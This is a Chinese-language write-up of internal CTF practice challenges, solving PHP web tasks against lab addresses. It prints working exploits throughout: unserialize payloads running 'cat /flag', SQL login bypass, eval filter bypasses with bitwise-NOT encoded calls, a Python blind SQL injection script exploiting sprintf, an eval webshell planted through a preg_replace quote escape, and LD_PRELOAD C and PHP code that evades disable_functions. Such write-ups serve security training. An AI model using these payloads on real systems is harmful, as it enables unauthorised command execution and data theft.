内部靶场训练1229-1011

比较基础的一些知识点

easy_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
error_reporting(0);
class A
{
public $contents = "hello ctfer";
function __toString()
{
if ((preg_match('/^[a-z]/i',$this->contents))) {
system("echo $this->contents");
return '111';
}else{
return "...";
}

}
}

function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}

if (isset($_GET['data'])) {
$data = $_GET['data'];
$data = decode_data($data);
echo unserialize($data);
}else{
highlight_file(__FILE__);
}

?>

有一点点逆向的思维,就是在这里:

1
2
3
4
5
6
7
8
function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}

我们传过去的字符串实际上是往后偏移了的,第一个字符串偏移0位,第二个字符串偏移1位,第三个字符串偏移2位,依此类推。

所以生成的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A
{
public $contents = 'hello;cat /flag';

}
function decode_data2($data){
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) - $i);
}
return $res;

}
$a=new A();
$b=serialize($a);
echo urlencode(base64_encode(decode_data2($b)));
?>
//http://10.45.1.28?data=TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHxUYHANIREpJSxY9Okz3BTtANDnzC0w%3D

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>

preg_match('/[oc]:\d+:/i',$data,$matches);主要是绕过这里就行了,用+来绕过。

O%3A%2B4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

ctf_judge

没啥好说的,admin登录即可,username:admin'#,password: 123456

audit-01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
//flag在/flag中
error_reporting(0);
$cmd = $_GET['cmd'];
function check(){
global $cmd;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $cmd)) {
echo "Your cmd is in blacklist" . "<br>";
return true;
break;
}
}
return false;
}

$file=$_GET['file'];
if(is_file($file)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($file)){
if(check()){
echo "Stop hack!!!" . "<br>";
}else{
eval($cmd);
}
}else{
echo "file isn't exist" . "<br>";
}

}
highlight_file(__FILE__);
?>

第一层是绕过is_file(),同时要满足file_exists(),这里可以用目录来绕过,is_file处理目录会返回falsefile_exists处理目录会返回true 第二层,是绕过get_defined_functions()['internal'] as $blacklisted,这里把php所有内置函数都不让用了。经过测试发现system被过滤了,但是``没有被过滤,

最终poc:

1
http://10.45.1.35?file=/etc&cmd=echo `cat /flag`;

audit-02

环境打不开。

audit-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//flag在/flag中
error_reporting(0);
$cmd = $_GET['cmd'];
function check(){
global $cmd;
$blacklist = ["print"," ","exit","die","eval","[","]","*","'","\"","`","echo"];
$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
foreach($blacklist as $i){
if (preg_match ('/' . $i . '/im', $cmd)) {
echo "Your cmd is in blacklist" . "<br>";
return true;
break;
}
}
if(strlen($cmd)>55){
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}


$file=$_GET['file'];
if(is_file($file)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($file)){
if(check()){
echo "Stop hack!!!" . "<br>";
}else{
eval($cmd);
}
}else{
echo "file isn't exist" . "<br>";
}

}
highlight_file(__FILE__);
?>

在原有基础上get_defined_functions()['internal']又过滤了["print"," ","exit","die","eval","[","]","*","'","\"","“,”echo”]`。

引号啥的都被过滤了,这里可以用无字母数字马取反来绕过。

一开始尝试:http://10.45.1.34?file=/usr/bin&cmd=(~%8F%97%8F%96%91%99%90)(); 想试试把phpinfo打出来,发现没回显。于是换一种表达方式:http://10.45.1.34?file=/usr/bin&cmd=$_=~%8F%97%8F%96%91%99%90;$_();,这样打有回显:

pZaWS8H.png

接下来沿用这种模式,尝试 system和ls /

1
2
3
4
5
6
<?php

$a='ls /';
echo urlencode(~$a);// %93%8C%DF%D0
$b='system';
echo urlencode(~$b);// %8C%86%8C%8B%9A%92

http://10.45.1.34?file=/usr/bin&cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C%DF%D0;$_($__);

发现成功读取到根目录下文件,接下来就是cat /flag

最终的poc:http://10.45.1.34?file=/usr/bin&cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%9C%9E%8B%DF%D0%99%93%9E%98;$_($__);

babytrick

这个题目一开始尝试sql注入,发现' select \ 等被过滤了,接着尝试直接字典爆破admin的密码,没有爆破成功。

dirsearch扫描一通看有没有线索,发现存在/admin,也是一个登录界面,在这个页面上进行了sql key fuzz,估计是做到数据和代码直接分开了,不存在注入。于是接着字典爆破admin,也没有出结果,其实到这里可以猜测还是在一开始的index.php页面把管理员账号注入出来,然后去/admin这里的登录框去登录。

又重新抓包看了一下,发现response那里有提示:<!-- tips:select * from user where user='$user' and passwd='%s'-->

看到%s 可以猜到可能考的是sprintf函数的漏洞,之前的靶场练习题出现过一次sprintf的考点,好吧,当时没仔细看。思路到这里就断开了,看了一下WP

同时也收集了一些关于sprintf利用的资料,大体了解了一下sprintf的漏洞点,这里专门写了一篇文章:PHP-sprintf函数漏洞解析

有个%1$c 的利用方法,给它填充39,类似于chr(39),产生引号来造成闭合。但是这里的问题来了,我是要拿到管理员admin的passwd,那么 $useradmin %1$c and substr(passwd,1,1)="X"#,代入进去就是select * from user where user='admin %1$c and substr(passwd,1,1)="X"#' and passwd='%s',猜测后台可能是 $sql=sprintf($sql,$passwd),那么我们传passwd=39 ,这样带入进去就是select * from user where user='admin' and substr(passwd,1,1)="X"#' and passwd='39',那这样就成功闭合了引号。

经过前期的fuzz发现if,ascii,> 这些都没有过滤,所以我们可以直接尝试二分法盲注来跑,这里贴上poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
url = 'http://10.45.1.32/'
flag = ''
for i in range(1,30):
high = 127
low = 32
middle = (high+low)//2
while(high>low):
payload = f"admin%1$c and if(ascii(substr(passwd,{i},1))>{middle},1,0)#"
#print(payload)
data={"user":payload,"passwd":39}
r = requests.post(url, data=data)
#print(r.text)
if 'window.location.href' in r.text:
low = middle+1
middle = (high+low)//2
else:
high = middle
middle = (high+low)//2
flag += chr(middle)
print(flag)
if(high<=32):
break

可以发现成功注入出admin的key。

babytrick1

注:这里没有用到WP的between盲注以及结合concat和binary的打法。主要是因为答案的截图不完整,我不知道它最终的poc咋写的23333,另外答案的处理是%1$c+0 ,这里就相当于 select “”+0 ,返回的是0,那么返回的应该可能是整张表的内容,但是我尝试了这样写,也可以把passwd注入出来。所以有没有可能这个user表就只有一行???或者还有什么其他的我没想到的, 欢迎大家联系我讨论。

然后我们用admin/GoODLUcKcTFer202OHAckFuN/admin 尝试登录发现成功登录进去,来到第二层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Your sandbox: ./shells/BbxLHzTaOkBaByRl/ set your shell
<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>

第二层就是写shell,我们这里可以随便尝试写个phpinfo();:

babytrick2

shell的路径:http://10.45.1.32/admin/shells/nQyfGQ5xTWkeyQkk/shell.php

babytrick3

发现并没有被解析,可能我们写的东西,直接被打印出来了。后面进去之后发现shell.php的代码是这样的:

1
2
3
<?php
$shell = 'this is your shell';
echo $shell;

主要的写入逻辑:

1
2
3
4
5
6
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}

这里似乎不管我们写什么东西,最终都会变成$shell='xxxxxxxx';echo $shell 都被搞成字符串,所以得把引号想办法逃逸。这里可以利用$0$0是会匹配整个字符串。

比如我们第一步传?shell=;phpinfo();通过preg_replace函数,shell.php内容会替换成:

1
2
3
<?php
$shell = ';phpinfo();';
echo $shell;

接着第二步我们传?shell=$0,带入到preg_replace就是 $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$0}';", $file);这里的$0会匹配所有字符串,带入到shell.php里面就是:

1
2
3
<?php
$shell = '$shell = ';phpinfo();';';
echo $shell;

这样的话,' 就逃逸出来了。这样尝试之后,我们可以访问看看效果:

babytrick4

发现成功写入进去了,接着我们可以往里面写shell,同时得绕过 $shell= addslashes($_GET['shell']); ,这里的addslashes会对特殊字符进行转义。这里可以这样写:

第一步:?shell=;eval(getallheaders(){2});

第二步:?shell=$0

接着抓包再去写一句话:

babytrick5

我们访问hello.php,并测试一下基本命令,可以发现成功写入:

babytrick6

接着直接上蚁剑,连过去发现很多命令都执行不了,查看phpinfo,发现以下函数被自己禁止了:

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

并且:open_basedir=/var/www/html 限制了仅web目录可以访问。

所以其实有两种可以去尝试的方式,就是绕过open_basedir的限制去读flag。另外一种就是bypass_disabled_function

这里wp是选择了第二种方式,WP是利用了LD_PRELOAD劫持来进行命令执行,直接用蚁剑的插件是打不通的, 需要对原始脚本进行魔改。这里翻到了一篇:

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,主要是两个脚本:

bypass_disablefunc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}

bypass_disablefunc.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

我们要在linux环境下把.c编译成.so:

1
2
gcc -c -fPIC bypass_disablefunc.c -o bypass_disablefunc
gcc -shared bypass_disablefunc -o bypass_disablefunc.so

因为这里的mail包括error_log 都被禁止了,但是这里的gnupg 扩展是开了的,所以我们可以把mail()换成@gnupg_import(gnupg_init(), "dummy");即可。

接下来就是把.php文件和.so文件上传到可执行的目录里面去,这里我选的是/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/下面,接着访问.php文件,然后去执行我们的命令:

http://10.45.1.32/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.php?cmd=ls /&outpath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/xx&sopath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.so

babytrick7

最后getflag:

http://10.45.1.32/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.php?cmd=cat /flag&outpath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/xx&sopath=/var/www/html/admin/shells/H6m7PfuTD6HrlgrP/bypass_disablefunc.so

babytrick8

easy-hash

主要在三张图片那里,没复现出来。。。